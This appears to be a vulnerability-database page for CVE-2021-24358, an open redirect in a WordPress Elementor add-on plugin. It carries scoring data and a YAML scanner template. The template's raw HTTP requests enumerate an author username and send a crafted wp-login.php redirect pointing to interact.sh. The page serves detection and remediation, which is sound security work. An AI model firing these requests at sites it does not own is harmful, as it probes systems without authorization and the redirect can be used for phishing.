6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
5.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:P/I:P/A:N
0.003 Low
EPSS
Percentile
70.6%
WordPress Plus Addons for Elementor Page Builder before 4.1.10 did not validate a redirect parameter on a specifically crafted URL before redirecting the user to it, leading to an open redirect issue.
id: CVE-2021-24358
info:
name: Plus Addons for Elementor Page Builder < 4.1.10 - Open Redirect
author: dhiyaneshDk
severity: medium
description: WordPress Plus Addons for Elementor Page Builder before 4.1.10 did not validate a redirect parameter on a specifically crafted URL before redirecting the user to it, leading to an open redirect issue.
impact: |
This vulnerability can be exploited by attackers to trick users into visiting malicious websites, leading to potential phishing attacks or the execution of other malicious activities.
remediation: |
Upgrade Plus Addons for Elementor Page Builder to version 4.1.10 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/fd4352ad-dae0-4404-94d1-11083cb1f44d
- https://nvd.nist.gov/vuln/detail/CVE-2021-24358
- https://theplusaddons.com/changelog/
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24358
cwe-id: CWE-601
epss-score: 0.00329
epss-percentile: 0.70388
cpe: cpe:2.3:a:posimyth:the_plus_addons_for_elementor:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: posimyth
product: the_plus_addons_for_elementor
framework: wordpress
tags: cve2021,cve,wp,wpscan,wordpress,redirect,wp-plugin,elementor,posimyth
http:
- raw:
- |
GET /?author=1 HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-login.php?action=theplusrp&key=&redirecturl=http://interact.sh&forgoturl=http://interact.sh&login={{username}} HTTP/1.1
Host: {{Hostname}}
host-redirects: true
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
extractors:
- type: regex
name: username
group: 1
regex:
- 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
internal: true
part: body
- type: regex
name: username
group: 1
regex:
- 'ion: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'
internal: true
part: header
# digest: 4b0a00483046022100ae75d3fbb605efbbfe6ae9894ef9afa56a51b9d9be1cc299773a592741ef9fcf022100cd029992f746d9d353355c06400c8a7246c94a86df04621081ef99421a51cd76:922c64590222798bb761d5b6d8e72950
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
5.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:P/I:P/A:N
0.003 Low
EPSS
Percentile
70.6%